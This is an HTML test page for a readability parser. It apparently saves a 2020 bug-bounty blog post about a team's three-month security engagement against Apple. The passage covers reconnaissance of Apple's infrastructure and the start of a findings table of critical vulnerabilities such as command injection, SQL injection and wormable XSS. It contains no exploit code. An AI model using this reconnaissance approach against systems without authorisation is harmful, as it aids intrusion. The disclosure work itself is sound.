dockerfile/examples/omnivore/api/readabilityjs/test/test-pages/samcurry/source.html

1815 lines
239 KiB
HTML
Raw Normal View History

2024-03-15 14:52:38 +08:00
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="pingback" href="https://samcurry.net/xmlrpc.php" /><!-- This site is optimized with the Yoast SEO plugin v14.3 - https://yoast.com/wordpress/plugins/seo/ -->
<title>
We Hacked Apple for 3 Months: Heres What We Found
</title>
<meta name="description" content="Between the period of July 6th to September 6th myself, Brett Buerhaus, Ben Sadeghipour, Samuel Erb, and Tanner Barnes worked together and hacked on the Apple bug bounty program." />
<meta name="robots" content="index, follow" />
<meta name="googlebot" content="index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1" />
<meta name="bingbot" content="index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1" />
<link rel="canonical" href="https://samcurry.net/hacking-apple/" />
<meta property="og:locale" content="en_US" />
<meta property="og:type" content="article" />
<meta property="og:title" content="We Hacked Apple for 3 Months: Heres What We Found" />
<meta property="og:description" content="Between the period of July 6th to September 6th myself, Brett Buerhaus, Ben Sadeghipour, Samuel Erb, and Tanner Barnes worked together and hacked on the Apple bug bounty program." />
<meta property="og:url" content="https://samcurry.net/hacking-apple/" />
<meta property="og:site_name" content="Sam Curry" />
<meta property="article:published_time" content="2020-10-07T17:15:30+00:00" />
<meta property="article:modified_time" content="2020-12-16T15:58:33+00:00" />
<meta property="og:image" content="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/unknown.png?time=1611808572" />
<meta property="og:image:width" content="1920" />
<meta property="og:image:height" content="1280" />
<meta name="twitter:card" content="summary_large_image" />
<script type="text/javascript" async="async" src="https://www.google-analytics.com/analytics.js"></script>
<script type="application/ld+json" class="yoast-schema-graph">
<![CDATA[
{"@context":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https://samcurry.net/#website","url":"https://samcurry.net/","name":"Sam Curry","description":"Web Application Security Researcher","potentialAction":[{"@type":"SearchAction","target":"https://samcurry.net/?s={search_term_string}","query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"ImageObject","@id":"https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/hacking-apple/#primaryimage","inLanguage":"en-US","url":"https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/unknown.png?time=1611808572","width":1920,"height":1280},{"@type":"WebPage","@id":"https://samcurry.net/hacking-apple/#webpage","url":"https://samcurry.net/hacking-apple/","name":"We Hacked Apple for 3 Months: Here\u2019s What We Found","isPartOf":{"@id":"https://samcurry.net/#website"},"primaryImageOfPage":{"@id":"https://samcurry.net/hacking-apple/#primaryimage"},"datePublished":"2020-10-07T17:15:30+00:00","dateModified":"2020-12-16T15:58:33+00:00","author":{"@id":"https://samcurry.net/#/schema/person/9bfef7f330cca71485f3602a664a0447"},"description":"Between the period of July 6th to September 6th myself, Brett Buerhaus, Ben Sadeghipour, Samuel Erb, and Tanner Barnes worked together and hacked on the Apple bug bounty program.","inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://samcurry.net/hacking-apple/"]}]},{"@type":["Person"],"@id":"https://samcurry.net/#/schema/person/9bfef7f330cca71485f3602a664a0447","name":"samwcyo","image":{"@type":"ImageObject","@id":"https://samcurry.net/#personlogo","inLanguage":"en-US","url":"https://secure.gravatar.com/avatar/6a0624480b5aaa2660b28a70c85f5842?s=96&d=mm&r=g","caption":"samwcyo"}}]}
]]>
</script><!-- / Yoast SEO plugin. -->
<link rel="dns-prefetch" href="//fonts.googleapis.com" />
<link rel="dns-prefetch" href="//s.w.org" />
<link rel="alternate" type="application/rss+xml" title="Sam Curry » Feed" href="https://samcurry.net/feed/" />
<link rel="alternate" type="application/rss+xml" title="Sam Curry » Comments Feed" href="https://samcurry.net/comments/feed/" />
<link rel="preconnect" href="https://secureservercdn.net" crossorigin="" />
<link rel="alternate" type="application/rss+xml" title="Sam Curry » We Hacked Apple for 3 Months: Heres What We Found Comments Feed" href="https://samcurry.net/hacking-apple/feed/" />
<script type="text/javascript">
//<![CDATA[
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.0.1\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.0.1\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/secureservercdn.net\/198.71.233.197\/623.f31.myftpupload.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=5.6&time=1611808572"}};
!function(e,a,t){var r,n,o,i,p=a.createElement("canvas"),s=p.getContext&&p.getContext("2d");function c(e,t){var a=String.fromCharCode;s.clearRect(0,0,p.width,p.height),s.fillText(a.apply(this,e),0,0);var r=p.toDataURL();return s.clearRect(0,0,p.width,p.height),s.fillText(a.apply(this,t),0,0),r===p.toDataURL()}function l(e){if(!s||!s.fillText)return!1;switch(s.textBaseline="top",s.font="600 32px Arial",e){case"flag":return!c([127987,65039,8205,9895,65039],[127987,65039,8203,9895,65039])&&(!c([55356,56826,55356,56819],[55356,56826,8203,55356,56819])&&!c([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],[55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128,56423,8203,56128,56447]));case"emoji":return!c([55357,56424,8205,55356,57212],[55357,56424,8203,55356,57212])}return!1}function d(e){var t=a.createElement("script");t.src=e,t.defer=t.type="text/javascript",a.getElementsByTagName("head")[0].appendChild(t)}for(i=Array("flag","emoji"),t.supports={everything:!0,everythingExceptFlag:!0},o=0;o<i.length;o++)t.supports[i[o]]=l(i[o]),t.supports.everything=t.supports.everything&&t.supports[i[o]],"flag"!==i[o]&&(t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&t.supports[i[o]]);t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything||(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(r=t.source||{}).concatemoji?d(r.concatemoji):r.wpemoji&&r.twemoji&&(d(r.twemoji),d(r.wpemoji)))}(window,document,window._wpemojiSettings);
//]]>
</script>
<script src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-includes/js/wp-emoji-release.min.js?ver=5.6&amp;time=1611808572" type="text/javascript" defer="defer"></script>
<style type="text/css">
/*<![CDATA[*/
img.wp-smiley,
img.emoji {
display: inline !important;
border: none !important;
box-shadow: none !important;
height: 1em !important;
width: 1em !important;
margin: 0 .07em !important;
vertical-align: -0.1em !important;
background: none !important;
padding: 0 !important;
}
/*]]>*/
</style>
<link rel="stylesheet" id="wp-block-library-css" href="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-includes/css/dist/block-library/style.min.css?ver=5.6&amp;time=1611808572" type="text/css" media="all" />
<link rel="stylesheet" id="fl-builder-layout-1139-css" href="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/bb-plugin/cache/1139-layout.css?ver=0a37cac10ee7700429bd8ba73eb4eda6&amp;time=1611808572" type="text/css" media="all" />
<link rel="stylesheet" id="wpstatistics-css-css" href="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/plugins/wp-statistics/assets/css/frontend.css?ver=12.3.6&amp;time=1611808572" type="text/css" media="all" />
<link rel="stylesheet" id="primer-css" href="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/themes/primer/style.css?ver=5.6&amp;time=1611808572" type="text/css" media="all" />
<style id="primer-inline-css" type="text/css">
/*<![CDATA[*/
.site-header{background-image:url(https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2017/05/qtq50-RHsVCj.jpeg?time=1611808572);}
.site-title a,.site-title a:visited{color:#ffffff;}.site-title a:hover,.site-title a:visited:hover{color:rgba(255, 255, 255, 0.8);}
.site-description{color:#ffffff;}
.hero,.hero .widget h1,.hero .widget h2,.hero .widget h3,.hero .widget h4,.hero .widget h5,.hero .widget h6,.hero .widget p,.hero .widget blockquote,.hero .widget cite,.hero .widget table,.hero .widget ul,.hero .widget ol,.hero .widget li,.hero .widget dd,.hero .widget dt,.hero .widget address,.hero .widget code,.hero .widget pre,.hero .widget .widget-title,.hero .page-header h1{color:#ffffff;}
.main-navigation ul li a,.main-navigation ul li a:visited,.main-navigation ul li a:hover,.main-navigation ul li a:visited:hover{color:#ffffff;}.main-navigation .sub-menu .menu-item-has-children > a::after{border-right-color:#ffffff;border-left-color:#ffffff;}.menu-toggle div{background-color:#ffffff;}.main-navigation ul li a:hover{color:rgba(255, 255, 255, 0.8);}
h1,h2,h3,h4,h5,h6,label,legend,table th,dl dt,.entry-title,.entry-title a,.entry-title a:visited,.widget-title{color:#353535;}.entry-title a:hover,.entry-title a:visited:hover,.entry-title a:focus,.entry-title a:visited:focus,.entry-title a:active,.entry-title a:visited:active{color:rgba(53, 53, 53, 0.8);}
body,input,select,textarea,input[type="text"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="password"]:focus,input[type="search"]:focus,input[type="number"]:focus,input[type="tel"]:focus,input[type="range"]:focus,input[type="date"]:focus,input[type="month"]:focus,input[type="week"]:focus,input[type="time"]:focus,input[type="datetime"]:focus,input[type="datetime-local"]:focus,input[type="color"]:focus,textarea:focus,.navigation.pagination .paging-nav-text{color:#252525;}.fl-callout-text,.fl-rich-text{color:#252525;}hr{background-color:rgba(37, 37, 37, 0.1);border-color:rgba(37, 37, 37, 0.1);}input[type="text"],input[type="email"],input[type="url"],input[type="password"],input[type="search"],input[type="number"],input[type="tel"],input[type="range"],input[type="date"],input[type="month"],input[type="week"],input[type="time"],input[type="datetime"],input[type="datetime-local"],input[type="color"],textarea,.select2-container .select2-choice{color:rgba(37, 37, 37, 0.5);border-color:rgba(37, 37, 37, 0.1);}select,fieldset,blockquote,pre,code,abbr,acronym,.hentry table th,.hentry table td{border-color:rgba(37, 37, 37, 0.1);}.hentry table tr:hover td{background-color:rgba(37, 37, 37, 0.05);}
blockquote,.entry-meta,.entry-footer,.comment-meta .says,.logged-in-as{color:#686868;}
.site-footer .widget-title,.site-footer h1,.site-footer h2,.site-footer h3,.site-footer h4,.site-footer h5,.site-footer h6{color:#353535;}
.site-footer .widget,.site-footer .widget form label{color:#252525;}
.footer-menu ul li a,.footer-menu ul li a:visited{color:#686868;}.site-info-wrapper .social-menu a{background-color:#686868;}.footer-menu ul li a:hover,.footer-menu ul li a:visited:hover{color:rgba(104, 104, 104, 0.8);}
.site-info-wrapper .site-info-text{color:#686868;}
a,a:visited,.entry-title a:hover,.entry-title a:visited:hover{color:#ff6663;}.navigation.pagination .nav-links .page-numbers.current,.social-menu a:hover{background-color:#ff6663;}a:hover,a:visited:hover,a:focus,a:visited:focus,a:active,a:visited:active{color:rgba(255, 102, 99, 0.8);}.comment-list li.bypostauthor{border-color:rgba(255, 102, 99, 0.2);}
button,a.button,a.button:visited,input[type="button"],input[type="reset"],input[type="submit"],.site-info-wrapper .social-menu a:hover{background-color:#ff6663;border-color:#ff6663;}a.fl-button,a.fl-button:visited,.content-area .fl-builder-content a.fl-button,.content-area .fl-builder-content a.fl-button:visited{background-color:#ff6663;border-color:#ff6663;}button:hover,button:active,button:focus,a.button:hover,a.button:active,a.button:focus,a.button:visited:hover,a.button:visited:active,a.button:visited:focus,input[type="button"]:hover,input[type="button"]:active,input[type="button"]:focus,input[type="reset"]:hover,input[type="reset"]:active,input[type="reset"]:focus,input[type="submit"]:hover,input[type="submit"]:active,input[type="submit"]:focus{background-color:rgba(255, 102, 99, 0.8);border-color:rgba(255, 102, 99, 0.8);}a.fl-button:hover,a.fl-button:active,a.fl-button:focus,a.fl-button:visited:hover,a.fl-button:visited:active,a.fl-button:visited:focus,.content-area .fl-builder-content a.fl-button:hover,.content-area .fl-builder-content a.fl-button:active,.content-area .fl-builder-content a.fl-button:focus,.content-area .fl-builder-content a.fl-button:visited:hover,.content-area .fl-builder-content a.fl-button:visited:active,.content-area .fl-builder-content a.fl-button:visited:focus{background-color:rgba(255, 102, 99, 0.8);border-color:rgba(255, 102, 99, 0.8);}
button,button:hover,button:active,button:focus,a.button,a.button:hover,a.button:active,a.button:focus,a.button:visited,a.button:visited:hover,a.button:visited:active,a.button:visited:focus,input[type="button"],input[type="button"]:hover,input[type="button"]:active,input[type="button"]:focus,input[type="reset"],input[type="reset"]:hover,input[type="reset"]:active,input[type="reset"]:focus,input[type="submit"],input[type="submit"]:hover,input[type="submit"]:active,input[type="submit"]:focus{color:#ffffff;}a.fl-button
a.fl-button:hover,a.fl-button:active,a.fl-button:focus,a.fl-button:visited,a.fl-button:visited:hover,a.fl-button:visited:active,a.fl-button:visited:focus,.content-area .fl-builder-content a.fl-button,.content-area .fl-builder-content a.fl-button *,.content-area .fl-builder-content a.fl-button:visited,.content-area .fl-builder-content a.fl-button:visited *{color:#ffffff;}
body{background-color:#f5f5f5;}.navigation.pagination .nav-links .page-numbers.current{color:#f5f5f5;}
.hentry,.comments-area,.widget,#page > .page-title-container{background-color:#ffffff;}
.site-header{background-color:#0b3954;}.site-header{-webkit-box-shadow:inset 0 0 0 9999em;-moz-box-shadow:inset 0 0 0 9999em;box-shadow:inset 0 0 0 9999em;color:rgba(11, 57, 84, 0.50);}
.main-navigation-container,.main-navigation.open,.main-navigation ul ul,.main-navigation .sub-menu{background-color:#0b3954;}
.site-footer{background-color:#0b3954;}
.site-footer .widget{background-color:#ffffff;}
.site-info-wrapper{background-color:#f5f5f5;}.site-info-wrapper .social-menu a,.site-info-wrapper .social-menu a:visited,.site-info-wrapper .social-menu a:hover,.site-info-wrapper .social-menu a:visited:hover{color:#f5f5f5;}
/*]]>*/
</style>
<link rel="stylesheet" id="slb_core-css" href="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/plugins/simple-lightbox/client/css/app.css?ver=2.8.1&amp;time=1611808572" type="text/css" media="all" />
<link rel="stylesheet" id="primer-fonts-css" href="//fonts.googleapis.com/css?family=Open+Sans%3A300%2C400%2C700&amp;subset=latin&amp;ver=5.6" type="text/css" media="all" />
<style id="primer-fonts-inline-css" type="text/css">
/*<![CDATA[*/
.site-title{font-family:"Open Sans", sans-serif;}
.main-navigation ul li a,.main-navigation ul li a:visited,button,a.button,a.fl-button,input[type="button"],input[type="reset"],input[type="submit"]{font-family:"Open Sans", sans-serif;}
h1,h2,h3,h4,h5,h6,label,legend,table th,dl dt,.entry-title,.widget-title{font-family:"Open Sans", sans-serif;}
body,p,ol li,ul li,dl dd,.fl-callout-text{font-family:"Open Sans", sans-serif;}
blockquote,.entry-meta,.entry-footer,.comment-list li .comment-meta .says,.comment-list li .comment-metadata,.comment-reply-link,#respond .logged-in-as{font-family:"Open Sans", sans-serif;}
/*]]>*/
</style>
<script type="text/javascript" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-includes/js/jquery/jquery.min.js?ver=3.5.1&amp;time=1611808572" id="jquery-core-js"></script>
<script type="text/javascript" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2&amp;time=1611808572" id="jquery-migrate-js"></script>
<link rel="https://api.w.org/" href="https://samcurry.net/wp-json/" />
<link rel="alternate" type="application/json" href="https://samcurry.net/wp-json/wp/v2/posts/1139" />
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://samcurry.net/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-includes/wlwmanifest.xml?time=1611808572" />
<meta name="generator" content="WordPress 5.6" />
<link rel="shortlink" href="https://samcurry.net/?p=1139" />
<link rel="alternate" type="application/json+oembed" href="https://samcurry.net/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fsamcurry.net%2Fhacking-apple%2F" />
<link rel="alternate" type="text/xml+oembed" href="https://samcurry.net/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fsamcurry.net%2Fhacking-apple%2F&amp;format=xml" />
<style type="text/css">
/*<![CDATA[*/
.site-title a,.site-title a:visited{color:ffffff;}
/*]]>*/
</style>
<link rel="icon" href="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2017/05/cropped-4-32x32.png" sizes="32x32" />
<link rel="icon" href="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2017/05/cropped-4-192x192.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2017/05/cropped-4-180x180.png" />
<meta name="msapplication-TileImage" content="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2017/05/cropped-4-270x270.png" />
<script charset="utf-8" src="https://platform.twitter.com/js/horizon_tweet.716ef7f4c155526f8ec8e60dbd2fbf56.js"></script>
</head>
<body class="post-template-default single single-post postid-1139 single-format-standard fl-builder custom-header-image layout-two-column-default fl-builder-breakpoint-medium">
<div id="page" class="hfeed site">
<a class="skip-link screen-reader-text" href="#content">Skip to content</a>
<header id="masthead" class="site-header" role="banner">
<div class="site-header-wrapper">
<div class="site-title-wrapper">
<h1 class="site-title">
<a href="https://samcurry.net/" rel="home">Sam Curry</a>
</h1>
<div class="site-description">
Web Application Security Researcher
</div>
</div><!-- .site-title-wrapper -->
<div class="hero">
<div class="hero-inner"></div>
</div>
</div><!-- .site-header-wrapper -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-148799620-1"></script>
<script>
<![CDATA[
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-148799620-1');
]]>
</script>
</header><!-- #masthead -->
<div class="main-navigation-container">
<div class="menu-toggle" id="menu-toggle"></div><!-- #menu-toggle -->
<!-- #site-navigation -->
</div>
<div class="page-title-container">
<header class="page-header">
<h1 class="page-title">
Blog
</h1>
</header><!-- .entry-header -->
</div><!-- .page-title-container -->
<div id="content" class="site-content">
<div id="primary" class="content-area">
<main id="main" class="site-main" role="main">
<article id="post-1139" class="post-1139 post type-post status-publish format-standard has-post-thumbnail hentry category-uncategorized">
<div class="featured-image">
<img width="1600" height="1067" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/unknown-1600x1067.png" class="attachment-primer-featured size-primer-featured wp-post-image" alt="" loading="lazy" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/unknown-1600x1067.png 1600w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/unknown-300x200.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/unknown-1024x683.png 1024w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/unknown-768x512.png 768w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/unknown-1536x1024.png 1536w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/unknown.png 1920w" sizes="(max-width: 1600px) 100vw, 1600px" />
</div><!-- .featured-image -->
<header class="entry-header">
<div class="entry-header-row">
<div class="entry-header-column">
<h1 class="entry-title">
We Hacked Apple for 3 Months: Heres What We Found
</h1>
</div><!-- .entry-header-column -->
</div><!-- .entry-header-row -->
</header><!-- .entry-header -->
<div class="entry-meta">
<span class="posted-date">October 7, 2020</span> <span class="posted-author"><a href="https://samcurry.net/author/samwcyo/" title="Posts by samwcyo" rel="author">samwcyo</a></span>
</div><!-- .entry-meta -->
<div class="entry-content">
<div class="fl-builder-content fl-builder-content-1139 fl-builder-content-primary" data-post-id="1139">
<div class="fl-row fl-row-fixed-width fl-row-bg-none fl-node-5f7a8b12ac3c4" data-node="5f7a8b12ac3c4">
<div class="fl-row-content-wrap">
<div class="fl-row-content fl-row-fixed-width fl-node-content">
<div class="fl-col-group fl-node-5f7a8b12ade9f" data-node="5f7a8b12ade9f">
<div class="fl-col fl-node-5f7a8b12adf23" data-node="5f7a8b12adf23">
<div class="fl-col-content fl-node-content">
<div class="fl-module fl-module-rich-text fl-node-5f7a8b12b1356" data-node="5f7a8b12b1356">
<div class="fl-module-content fl-node-content">
<div class="fl-rich-text">
<p>
Between the period of July 6th to October 6th myself, Brett Buerhaus, Ben Sadeghipour, Samuel Erb, and Tanner Barnes worked together and hacked on the Apple bug bounty program.
</p>
<ul>
<li>Sam Curry (<a href="https://twitter.com/samwcyo">@samwcyo</a>)
</li>
<li>Brett Buerhaus (<a href="https://twitter.com/bbuerhaus">@bbuerhaus</a>)
</li>
<li>Ben Sadeghipour (<a href="https://twitter.com/nahamsec">@nahamsec</a>)
</li>
<li>Samuel Erb (<a href="https://twitter.com/erbbysam">@erbbysam</a>)
</li>
<li>Tanner Barnes (<a href="https://twitter.com/_StaticFlow_">@_StaticFlow_</a>)
</li>
</ul>
<p>
During our engagement, we found a variety of vulnerabilities in core portions of their infrastructure that would've allowed an attacker to fully compromise both customer and employee applications, launch a worm capable of automatically taking over a victim's iCloud account, retrieve source code for internal Apple projects, fully compromise an industrial control warehouse software used by Apple, and take over the sessions of Apple employees with the capability of accessing management tools and sensitive resources.
</p>
<p>
There were a total of 55 vulnerabilities discovered with 11 critical severity, 29 high severity, 13 medium severity, and 2 low severity reports. These severities were assessed by us for summarization purposes and are dependent on a mix of CVSS and our understanding of the business related impact.
</p>
<p>
As of October 6th, 2020, the vast majority of these findings have been fixed and credited. They were typically remediated within 1-2 business days (with some being fixed in as little as 4-6 hours).
</p>
<h2>
Introduction
</h2>
<p>
While scrolling through Twitter sometime around July I noticed a blog post being shared where a researcher was awarded $100,000 from Apple for discovering an authentication bypass that allowed them to arbitrarily access any Apple customer account. This was surprising to me as I previously understood that Apple's bug bounty program only awarded security vulnerabilities affecting their physical products and did not payout for issues affecting their web assets.
</p>
<div class="twitter-tweet twitter-tweet-rendered" style="display: flex; max-width: 550px; width: 100%; margin-top: 10px; margin-bottom: 10px;">
<iframe id="twitter-widget-0" scrolling="no" frameborder="0" allowtransparency="true" allowfullscreen="true" class="" style="position: static; visibility: visible; width: 550px; height: 188px; display: block; flex-grow: 1;" title="Twitter Tweet" src="https://platform.twitter.com/embed/index.html?dnt=true&amp;embedId=twitter-widget-0&amp;frame=false&amp;hideCard=false&amp;hideThread=false&amp;id=1266755207402143746&amp;lang=en&amp;origin=https%3A%2F%2Fsamcurry.net%2Fhacking-apple%2F&amp;theme=light&amp;widgetsVersion=ed20a2b%3A1601588405575&amp;width=550px" data-tweet-id="1266755207402143746" name="twitter-widget-0"></iframe>
</div>
<script async="async" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
<p>
After finishing the article, I did a quick Google search and found their program page where it detailed Apple was willing to pay for vulnerabilities "with significant impact to users" regardless of whether or not the asset was explicitly listed in scope.
</p>
<figure class="wp-block-image size-large"></figure>
<p>
This caught my attention as an interesting opportunity to investigate a new program which appeared to have a wide scope and fun functionality. At the time I had never worked on the Apple bug bounty program so I didn't really have any idea what to expect but decided why not try my luck and see what I could find.
</p>
<p>
In order to make the project more fun I sent a few messages to hackers I'd worked with in the past and asked if they'd like to work together on the program. Even though there was no guarantee regarding payouts nor an understanding of how the program worked, everyone said yes, and we began hacking on Apple.
</p>
<h2>
Reconnaissance
</h2>
<p>
The first step in hacking Apple was figuring out what to actually target. Both Ben and Tanner were the experts here, so they began figuring out what all Apple owned that was accessible to us. All of the results from their scanning were indexed in a dashboard that included the HTTP status code, headers, response body, and screenshot of the accessible web servers under the various domains owned by Apple that wed refer to over the engagement.
</p>
<figure class="wp-block-image">
<img loading="lazy" class="alignnone wp-image-1481" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/recon_img-1024x524.png" alt="" width="936" height="479" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/recon_img-1024x524.png 1024w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/recon_img-300x153.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/recon_img-768x393.png 768w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/recon_img-1536x785.png 1536w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/recon_img.png 1600w" sizes="(max-width: 936px) 100vw, 936px" />
</figure>
<p>
To be brief: Apple's infrastructure is massive.
</p>
<p>
They own the entire 17.0.0.0/8 IP range, which includes 25,000 web servers with 10,000 of them under apple.com, another 7,000 unique domains, and to top it all off, their own TLD (dot apple). Our time was primarily spent on the 17.0.0.0/8 IP range, .apple.com, and .icloud.com since that was where the interesting functionality appeared to be.
</p>
<p>
After making a listing of all of the web servers, we began running directory brute forcing on the more interesting ones.
</p>
<p>
Some of the immediate findings from the automated scanning were...
</p>
<ul>
<li>VPN servers affected by Cisco CVE-2020-3452 Local File Read 1day (x22)
</li>
<li>Leaked Spotify access token within an error message on a broken page
</li>
</ul>
<p>
The information obtained by these processes were useful in understanding how authorization/authentication worked across Apple, what customer/employee applications existed, what integration/development tools were used, and various observable behaviors like web servers consuming certain cookies or redirecting to certain applications.
</p>
<p>
After all of the scans were completed and we felt we had a general understanding of the Apple infrastructure, we began targeting individual web servers that felt instinctively more likely to be vulnerable than others.
</p>
<p>
This began a series of findings that continued throughout our engagement and progressively increased our understanding of Apples program.
</p>
<h2>
Vulnerabilities Discovered
</h2>
<p>
<script type="text/javascript" charset="utf8" src="https://cdn.datatables.net/1.10.19/js/jquery.dataTables.js"></script>
</p>
<figure class="wp-block-table is-style-stripes"></figure>
<div id="findings_wrapper" class="dataTables_wrapper no-footer">
<div id="findings_length" class="dataTables_length">
<label>Show<select class="" name="findings_length" aria-controls="findings">
<option value="10">
10
</option>
<option value="25">
25
</option>
<option value="50">
50
</option>
<option value="100">
100
</option>
</select>entries</label>
</div>
<div id="findings_filter" class="dataTables_filter">
<label>Search:<input class="" type="search" placeholder="" aria-controls="findings" /></label>
</div>
<table id="findings" class="dataTable no-footer" style="width: 554px;" role="grid" aria-describedby="findings_info">
<thead>
<tr role="row">
<th class="has-text-align-center sorting" style="width: 83px;" tabindex="0" colspan="1" rowspan="1" data-align="center" aria-controls="findings" aria-label="Report ID: activate to sort column ascending">
<strong>Report ID</strong>
</th>
<th class="has-text-align-center sorting" style="width: 76px;" tabindex="0" colspan="1" rowspan="1" data-align="center" aria-controls="findings" aria-label="Date: activate to sort column ascending">
<strong>Date</strong>
</th>
<th class="has-text-align-center sorting" style="width: 265px;" tabindex="0" colspan="1" rowspan="1" data-align="center" aria-controls="findings" aria-label="Title: activate to sort column ascending">
<strong>Title</strong>
</th>
<th class="has-text-align-center sorting" style="width: 66px;" tabindex="0" colspan="1" rowspan="1" data-align="center" aria-controls="findings" aria-label="Severity: activate to sort column ascending">
<strong>Severity</strong>
</th>
</tr>
</thead>
<tbody>
<tr class="" role="row">
<td class="has-text-align-center" data-align="center">
741765282
</td>
<td class="has-text-align-center" data-align="center">
7/26/2020
</td>
<td class="has-text-align-center" data-align="center">
Remote Code Execution via Authorization and Authentication Bypass
</td>
<td class="has-text-align-center" data-align="center">
Critical
</td>
</tr>
<tr class="" role="row">
<td class="has-text-align-center" data-align="center">
747008210
</td>
<td class="has-text-align-center" data-align="center">
9/17/2020
</td>
<td class="has-text-align-center" data-align="center">
Authentication Bypass via Misconfigured Permissions allows Global Administrator Access
</td>
<td class="has-text-align-center" data-align="center">
Critical
</td>
</tr>
<tr class="" role="row">
<td class="has-text-align-center" data-align="center">
743305978
</td>
<td class="has-text-align-center" data-align="center">
8/11/2020
</td>
<td class="has-text-align-center" data-align="center">
Command Injection via Unsanitized Filename Argument
</td>
<td class="has-text-align-center" data-align="center">
Critical
</td>
</tr>
<tr class="" role="row">
<td class="has-text-align-center" data-align="center">
744391544
</td>
<td class="has-text-align-center" data-align="center">
8/21/2020
</td>
<td class="has-text-align-center" data-align="center">
Remote Code Execution via Leaked Secret and Exposed Administrator Tool
</td>
<td class="has-text-align-center" data-align="center">
Critical
</td>
</tr>
<tr class="" role="row">
<td class="has-text-align-center" data-align="center">
741014809
</td>
<td class="has-text-align-center" data-align="center">
7/18/2020
</td>
<td class="has-text-align-center" data-align="center">
Memory Leak leads to Employee and User Account Compromise allowing access to various internal applications
</td>
<td class="has-text-align-center" data-align="center">
Critical
</td>
</tr>
<tr class="" role="row">
<td class="has-text-align-center" data-align="center">
742879257
</td>
<td class="has-text-align-center" data-align="center">
8/6/2020
</td>
<td class="has-text-align-center" data-align="center">
Vertica SQL Injection via Unsanitized Input Parameter
</td>
<td class="has-text-align-center" data-align="center">
Critical
</td>
</tr>
<tr class="" role="row">
<td class="has-text-align-center" data-align="center">
742693737
</td>
<td class="has-text-align-center" data-align="center">
8/5/2020
</td>
<td class="has-text-align-center" data-align="center">
Wormable Stored XSS allows Attacker to Fully Compromise Victim iCloud Account
</td>
<td class="has-text-align-center" data-align="center">
Critical
</td>
</tr>
<tr class="" role="row">
